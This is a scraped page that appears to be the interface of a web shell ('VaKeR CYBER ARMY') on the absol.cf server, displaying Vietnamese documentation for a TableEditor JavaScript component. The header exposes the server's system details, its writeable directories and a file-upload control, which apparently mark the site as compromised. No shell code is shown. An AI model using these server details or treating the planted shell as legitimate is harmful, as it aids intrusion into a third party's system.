VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-doc/content/sheet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-doc/content/sheet/index.md
# TableEditor

## [Demo](https://absol.cf/libs/absol-sheet/)

## Hướng dẫn


### Khởi tạo

```js
        var editor = new absol.sheet.TableEditor(option);
```

### Tham số

Ví dụ:

```js
    var option = {
    propertyNames: ['p1', 'p2'],
    propertyDescriptors: {
        p1: {//Mô tả kiểu dữ liệu, xem phần tiếp theo 
            type: 'number',
            text: "Giới hạn dưới",
            max: "= max - 1 ",
            step: 0.1,
            defaultValue: 100000
        }
    }
}

```

### Mô tả kiểu dữ liệu

#### base - tất cả đều có

| tên          | kiểu    | Bắt buộc | Chú thích                                                                                                                                  |
|--------------|---------|----------|--------------------------------------------------------------------------------------------------------------------------------------------|
| type         | string  | x        | tên kiểu dữ liêu, ví dụ "number", "string"                                                                                                 |
| text         | string  |          | tên trường, hiển thị trên header, có thể là tiếng Việt, mặc định sẽ lấy tên trường trong dữ liệu                                           |
| calc         | string  |          | tính giá trị phụ thuộc từ các trường khác bằng biểu thức, giá trị sẽ không xuất hiện trong dữ liệu trả về                                  |
| defaultValue | any     |          | Giá trị mặc định khi hàng được tạo mới mởi thao tác chỉnh sửa của người dùng, lưu ý thêm bằng code thì phải tự gán giá trị mặc định nếu có |            
| required     | boolean |          | Cột bắt buộc                                                                                                                               |            
| readOnly     | boolean |          | Cột chỉ đọc                                                                                                                                |            

### text

| tên  | kiểu   | Bắt buộc | Chú thích |
|------|--------|----------|-----------|
| type | string | x        | "string"  |

### number

| tên  | kiểu   | Bắt buộc | Chú thích           |
|------|--------|----------|---------------------|
| type | string | x        | "number"            |
| min  | number |          | min cho NumberInput |
| max  | number |          | max cho NumberInput |

### Date

| tên  | kiểu                | Bắt buộc | Chú thích                  |
|------|---------------------|----------|----------------------------|
| type | Date                | x        | "Date"                     |
| min  | Date hoặc biểu thức |          | Giới hạn min cho DateInput |
| max  | Date hoặc biểu thức |          | Giới hạn max cho DateInput |

### DateTime

| tên  | kiểu                | Bắt buộc | Chú thích                  |
|------|---------------------|----------|----------------------------|
| type | Date                |    x     | "DateTime"                     |
| min  | Date hoặc biểu thức |          | Giới hạn min cho DateInput |
| max  | Date hoặc biểu thức |          | Giới hạn max cho DateInput |

### enum

| tên                          | kiểu    | Bắt buộc | Chú thích                                                            |
|------------------------------|---------|----------|----------------------------------------------------------------------|
| type                         | string  | x        | "enum"                                                               |
| items                        | Array   | x        | mảng items dùng cho SelectMenu                                       |
| enableSearch hoặc searchable | boolean |          | tùy chọn search cho input                                            |
| emptyValue                   | any     |          | Định nghĩ thêm giá trị rỗng, mặc định chỉ kiểm tra undefined và null |

### {enum}

| tên                          | kiểu    | Bắt buộc | Chú thích                      |
|------------------------------|---------|----------|--------------------------------|
| type                         | string  | x        | "{enum}"                       |
| items                        | Array   | x        | mảng items dùng cho SelectMenu |
| enableSearch hoặc searchable | boolean |          | tùy chọn search cho input      |



VaKeR 2022